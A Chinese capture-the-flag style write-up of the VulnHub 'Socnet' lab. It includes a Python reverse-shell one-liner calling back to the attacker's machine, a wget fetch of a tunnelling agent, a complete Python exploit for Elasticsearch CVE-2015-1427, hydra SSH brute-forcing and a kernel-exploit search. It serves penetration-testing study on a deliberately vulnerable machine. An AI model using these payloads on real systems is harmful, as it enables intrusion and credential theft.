VulnHub打靶记录——Socnet

news2024/12/21 22:29:36

靶机下载地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

将靶机设置为NAT模式并启动。

主机发现&信息收集

靶机和 kali 在同一网段,使用nmap扫描网段主机,

nmap 192.168.50.1/24

在这里插入图片描述

其中192.168.50.130是本机,猜测192.168.50.135是靶机。

接着收集靶场信息:

nmap -sV -Pn -O 192.168.50.135

在这里插入图片描述
发现开放了22,5000端口,22是ssh,5000是python框架Werkzeug开发的HTTP服务,操作系统探测的是linux3.2-4.9。

访问5000端口,看下web服务,页面如下,测试没有什么突破点,仅仅可以输入输出
在这里插入图片描述
因为是http服务,猜测可能存在其他隐藏路径,使用 dirsearch 扫描下路径,扫描发现存在 /admin 路径,
在这里插入图片描述
发现这是一个管理员的页面,可以执行任意的代码,结合靶机环境尝试执行python脚本反弹shell。

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.50.130",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

在这里插入图片描述
成功反弹shell,而且是root权限,但查看文件时发现了一个 Dockerfile 文件,并且这里的ip地址和我们的靶机不一致
在这里插入图片描述
怀疑可能为蜜罐或者docker容器,需要进一步确认。

  1. 查看 Dockerfile 文件 cat Dockerfile ,内容如下,判断可能是docker
    在这里插入图片描述

  2. 进一步判断,查看根目录下是否有 dockerenv ,ls /.dockerenv ,发现存在,判断90%是docker容器

  3. 最后判断, cat /proc/1/cgroup ,如果 cgroup 内有 docker 文件判断就是docker容器。
    在这里插入图片描述

判断依据: Linux 初始化进程时, PID=1 代表的是初始化进程的ID,如果1进程下面的 cgroup 文件包含docker文件,就说明这是个docker系统

发现/proc/1/cgroup下有关于docker容器的hash值,可以判断处于docker容器中,也就是处于内网,那么进行内网探测。

内网发现

因为处于内网,而且这里的子网掩码有16位,那么使用一个ping -c 1 ip去探测会过于漫长,这里使用循环代码进行探测。

使用linux发现一个网段就行,正常测试时要访问所有

//windows
//发现一个网段
for /l %i in (1,1,10) do ping -n 1 172.17.0.%i
//发现两个网段
for /l %i in (1,1,3) do for /l %j in (1,1,3) do ping -n 1 192.168.%i.%j
//linux
//发现一个网段
for i in $(seq 1 10);do ping -c 1 172.17.0.$i;done
//发现两个网段
for i in $(seq 1 10);do (for j in $(seq 1 10 );do ping -c 1
172.17.$i.$j;done)done

为了节省时间,这里只探测了1-10的ip地址
在这里插入图片描述
经测试,只有1和2回包,3是目前所在的靶机,那么内网共有三台主机,172.17.0.1、172.17.0.2、172.17.0.3

内网穿透

在发现了内网主机之后,需要对它们进行扫描,来判断各个主机上面的情况,但我们和内网默认是无法通信的,此时就需要做内网穿透,做个代理,让我们能够访问到内网主机。

使用 Venom 穿透工具来实现此功能,工具下载

kali的是x64的,那么在venom的目录下,输入,监听8888端口

./admin_linux_x64 -lport 8888

进到 Venmo 文件夹下,开启 http 服务:这一步是为了让靶机能够下载 agent 文件,哪个端口都行

 python3 -m http.server 8080

在这里插入图片描述
通过拿到的 shell 把agent_linux_x64下载到靶机

wget http://192.168.50.130:8080/agent_linux_x64

在这里插入图片描述
客户端服务开启:

chmod +x agent_linux_x64 给予执行权限

./agent_linux_x64 -rhost 192.168.50.130 -rport 8888 

这个要和刚才监听的端口一致
在这里插入图片描述
客户端设置好了之后, kali 上服务端就会收到链接,使用show命令去查找节点,然后使用goto去连接这个节点,同时另外启动一个侦听端口 socks 1080,方便我们链接进来
在这里插入图片描述
至此代理就已经设置好了。

代理利用

使用proxychains4工具去设置代理,访问靶机内网

修改 kali上的 /etc/proxychains4.conf 文件

vim /etc/proxychains.conf 修改为sock5 127.0.0.1 1080(venom开启的socks监听)
在这里插入图片描述
SOCKS4只支持TCP应用,而SOCKS5支持TCP和UDP应用

内网横向扩展

下面挂代理使用 nmap 进行扫描,

proxychains nmap -sT -sV -Pn -O 172.17.0.1

注:-sT:对TCP进行端口扫描。这里必须要加 -sT。

在这里插入图片描述
对 172.17.0.1 的扫描结果发现端口和服务信息都和前面 192.168.50.135 的信息一样,由此判断 172.17.0.1 是docker宿主机面向内网的ip,使用浏览器挂代理访问下
在这里插入图片描述
在这里插入图片描述
确定172.17.0.1就是宿主主机,也就是我们的目标。

再对另外的主机进行扫描,

proxychains nmap -sT -sV -Pn -O 172.17.0.2

在这里插入图片描述
发现开了一个9200端口,是 Elasticsearch 服务且版本较老,查看是否有漏洞和可以利用的脚本文件

searchsploit Elasticsearch 

在这里插入图片描述
将第一个复制到当前路径下

searchsploit -m 36337.py ./

vim 36337.py 看下,发现是采用 python2 写的,我这里 python2 跑不了,于是改成了python3,代码如下:

#!/usr/bin/env python3
# coding: utf-8
# Version: 20150309.1
# Licence: WTFPL - wtfpl.net
import json
import requests
import sys

__version__ = "20150309.1"

def banner():
    print("""\x1b[1;32m
▓█████  ██▓    ▄▄▄        ██████ ▄▄▄█████▓ ██▓ ▄████▄    ██████  ██░ ██ ▓█████  ██▓     ██▓    
▓█   ▀ ▓██▒   ▒████▄    ▒██    ▒ ▓  ██▒ ▓▒▓██▒▒██▀ ▀█  ▒██    ▒ ▓██░ ██▒▓█   ▀ ▓██▒    ▓██▒    
▒███   ▒██░   ▒██  ▀█▄  ░ ▓██▄   ▒ ▓██░ ▒░▒██▒▒▓█    ▄ ░ ▓██▄   ▒██▀▀██░▒███   ▒██░    ▒██░    
▒▓█  ▄ ▒██░   ░██▄▄▄▄██   ▒   ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒  ▒   ██▒░▓█ ░██ ▒▓█  ▄ ▒██░    ▒██░    
░▒████▒░██████▒▓█   ▓██▒▒██████▒▒  ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒
░░ ▒░ ░░ ▒░▓  ░▒▒   ▓▒█░▒ ▒▓▒ ▒ ░  ▒ ░░   ░▓  ░ ░▒ ▒  ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓  ░░ ▒░▓  ░
 ░ ░  ░░ ░ ▒  ░ ▒   ▒▒ ░░ ░▒  ░ ░    ░     ▒ ░  ░  ▒   ░ ░▒  ░ ░ ▒ ░▒░ ░ ░ ░  ░░ ░ ▒  ░░ ░ ▒  ░
   ░     ░ ░    ░   ▒   ░  ░  ░    ░       ▒ ░░        ░  ░  ░   ░  ░░ ░   ░     ░ ░     ░ ░   
   ░  ░    ░  ░     ░  ░      ░            ░  ░ ░            ░   ░  ░  ░   ░  ░    ░  ░    ░  ░
                                              ░                                                
 Exploit for ElasticSearch , CVE-2015-1427   Version: %s\x1b[0m""" % (__version__))

def execute_command(target, command):
    payload = """{"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"}}}""" % (command)
    try:
        url = "http://%s:9200/_search?pretty" % (target)
        r = requests.post(url=url, data=payload)
    except Exception as e:
        sys.exit("Exception Hit" + str(e))
    values = json.loads(r.text)
    fuckingjson = values['hits']['hits'][0]['fields']['lupin'][0]
    print(fuckingjson.strip())

def exploit(target):
    print("{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something")
    while True:
        cmd = input("~$ ")
        if cmd == "exit":
            sys.exit("{!} Shell exiting!")
        else:
            execute_command(target=target, command=cmd)

def main(args):
    banner()
    if len(args) != 2:
        sys.exit("Use: %s target" % (args[0]))
    exploit(target=args[1])

if __name__ == "__main__":
    main(args=sys.argv)
proxychains python3 36337.py 172.17.0.2

在这里插入图片描述
成功拿到172.17.0.2 shell,简单搜索一下,发现当前目录下有passwords文件,查看,发现有用户和密码
在这里插入图片描述
密码md5加密了,在线解密一下,得到:

1337hack
1234test
1111pass
1234pass
1234jane

尝试使用 hydra对192.168.5.1进行 ssh 爆破

将账号和密码分别保存到两个文本,

hydra -L user.txt -P pass.txt ssh://192.168.50.135

在这里插入图片描述
发现 john 1337hack可以登录,ssh登录
在这里插入图片描述
成功登陆,尝试直接升级 root 用户失败,只是普通用户,后面还要本地提权。

本地提权

提权常用的是利用 linux 内核来提权,ssh登陆时可以看到内核版本,也可以使用命令 uname -a 查看内核版本

john@socnet:~$ uname -a
Linux socnet 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

搜索内核版本查找exp, searchsploit linux 3.13
在这里插入图片描述
选择 37292.c 来利用,将文件复制到当前文件夹下

searchsploit -m 37292.c ./

vim 看一下,发现代码末尾会调用gcc来编译 ofs-lib.c 文件,这个操作在靶机上是会报错的,因为靶机上没有 gcc 环境。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1487502.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

UV画贴图时如何去掉一部分

1.纹理先选psd 2. altshift 把要去掉的中选中 选择几何体-隐藏选择

图像增强技术总结

最近科研需要改进算法,需要先对图像进行增强后处理,所以对图像增强技术做一个总结。图像增强的目的就是要提高图像的质量,在图像处理中,有两种提高图像质量的方法:一是图像在采集的过程中,知道图像质量降低…

春招!启动了

大家好,我是洋子。今年的春招很多企业已经开始招聘了,像美团今年继续发力,24届春招以及25届暑期转正实习一共招聘4000人。另外,阿里,京东,顺丰等公司也已经开始春招,可以说招聘的号角已经正式吹…

C语言——指针的进阶——第1篇——(第26篇)

坚持就是胜利 文章目录 一、字符指针1、面试题 二、指针数组三、数组指针1、数组指针的定义2、&数组名 VS 数组名3、数组指针的使用(1)二维数组传参,形参是 二维数组 的形式(2)二维数组传参,形参是 指针…

Redis高可用性【重点】

参考链接 https://xiaolincoding.com/redis/cluster/master_slave_replication.html#%E7%AC%AC%E4%B8%80%E6%AC%A1%E5%90%8C%E6%AD%A5 高可用性 主从复制哨兵节点 主从复制 【面试题】 Redis主从节点时长连接还是短连接? 长连接 #怎么判断 Redis 某个节点是否正常…

【C++从练气到飞升】01---C++入门

🎈个人主页:库库的里昂 ✨收录专栏:C从练气到飞升 🎉鸟欲高飞先振翅,人求上进先读书。 目录 推荐 前言 什么是C C的发展史 📋命名空间 命名空间定义 命名空间使用 命名空间的嵌套 std命名空间的使用 &#…

Windows Server 各版本搭建文件服务器实现共享文件(03~19)

一、Windows Server 2003 打开服务器,点击左下角开始➡管理工具➡管理您的服务器➡添加或删除角色 点击下一步等待测试 勾选自定义配置,点击下一步 选择文件服务器,点击下一步 勾选设置默认磁盘空间,数据自己更改,最…

【js】事件循环之promise的async/await与setTimeout

什么是事件循环 事件循环又叫消息循环,是浏览器渲染主线程的工作方式。 浏览器开启一个永不停止的for循环,每次循环都会从消息队列中取任务,其他线程只需要在合适的时候将任务加入到消息队列的末尾。 过去分为宏任务和微任务,现…

数据分析工具在不同行业中有什么不同的需求?

数据建模也是数据分析的一个分支 一、交管行业,对于数据建模的需求如下 1、根据分析方法可以将交管大数据模型分为统计分析类、业务规则类、预测预警类、异常分析类、画像分析类和综合评价类六大类,具体如下: 2、模型的实现过程 二、各类工…

写时复制简介

写时复制技术(Copy on Write)是比较常用的一种技术,它的主要目的是延迟减少以及延迟内存的分配,增加执行效率,只有在真正进行写操作的过程中才会真正分配物理资源。同时,也可以保护数据在系统崩溃时出现的丢失。比如,我…

视频云平台——搭建SRS5平台支持GB28181视频流的推送

📢欢迎点赞 :👍 收藏 ⭐留言 📝 如有错误敬请指正,赐人玫瑰,手留余香!📢本文作者:由webmote 原创📢作者格言:新的征程,我们面对的不仅…

逆向案例四:360k静态和精灵数据动态AES解密,用js的方法

一、360K 网页链接:https://www.36kr.com/p/2672600261670407 页面中有静态的需要解密的内容,确定html包,确定方法 1.1方法步骤 在下方的搜索中输入decrypt(或者关键字window.initialState ,进入js文件 在AES.decrypt处打上断点&#xff0…

MySQL面试题-事务(答案版)

事务 1、事务与存储引擎的关系 事务是由 MySQL 的引擎来实现的,我们常见的 InnoDB 引擎它是支持事务的。 不过并不是所有的引擎都能支持事务,比如 MySQL 原生的 MyISAM 引擎就不支持事务,也正是这样,所以大多数 MySQL 的引擎都…

hnust 湖南科技大学 2023 综合实训3(软件工程)课设 完整代码及数据库+报告+uml等图源文件+指导书

hnust 湖南科技大学 2023 综合实训3(软件工程)课设 完整代码及数据库报告uml等图源文件指导书 介绍 老师考核等级为优,系统多次测试,未发现bug 项目前后端分离,前端vue2工程项目,后端springboot&#xff…

知乎语音下载(mediadown)

知乎语音下载(mediadown) 一、介绍 知乎语音下载,能够帮助你下载知乎知学堂课程中的语音和视频。它不能帮你越过会员权限,下载你没权限访问的语音和视频。 二、下载地址 本站下载:知乎语音下载(mediadown) 百度网盘下载:知乎语音下载(mediadown) 三、安装教程 …

创业者的智选:知识付费小程序定制开发服务解析

探索知识付费领域的新时代,选择专业的知识付费小程序定制开发服务,打造个性化、高效的知识传播平台。无论您是企业、机构还是个体创作者,都能助您成功变现知识资产。 知识付费小程序的开发是一个涉及多方面技术的综合性工程。下面提供一些关…

利用redis实现秒杀功能

6、秒杀优化 这个是 图灵 的redis实战里面的一个案例 6.1 秒杀优化-异步秒杀思路 我们来回顾一下下单流程 当用户发起请求,此时会请求nginx,nginx会访问到tomcat,而tomcat中的程序,会进行串行操作,分成如下几个步骤…

Linux:Kubernetes(k8s)基础理论笔记(1)

我笔记来源的图片以及共享至GitHub,本章纯理论。这是k8s中部分的基础理论 👇 KALItarro/k8spdf: 这个里面只有一个pdf文件 (github.com)https://github.com/KALItarro/k8spdf👆 什么是kubernetes kubernetes 是一个开源的,用于管…

二、TensorFlow结构分析(1)

目录 1、TF数据流图 1.1 TensorFlow结构分析 1.2 案例 2、图与TensorBoard 2.1 图结构 2.2 图相关操作 2.2.1 默认图 2.2.2 创建图 2.3 TensorBoard:可视化学习 2.3.1 数据序列化 - events文件 2.3.2 启动TensorBoard 2.4 OP 2.4.1 常见OP 2.4.2 指令…

呵护宝贝的肌肤当然要从小做起啦~

亲子系列~来个防晒衣 防晒还真的挺重要的 尤其是女生,防晒要从小做起哈 这款做的防晒面料,有抗紫外线吊牌 可以放心去穿,质地柔软轻盈又透气 防晒护肤双合一,四个颜色每个都很好看 很适合春夏季,很干净清爽 泳衣…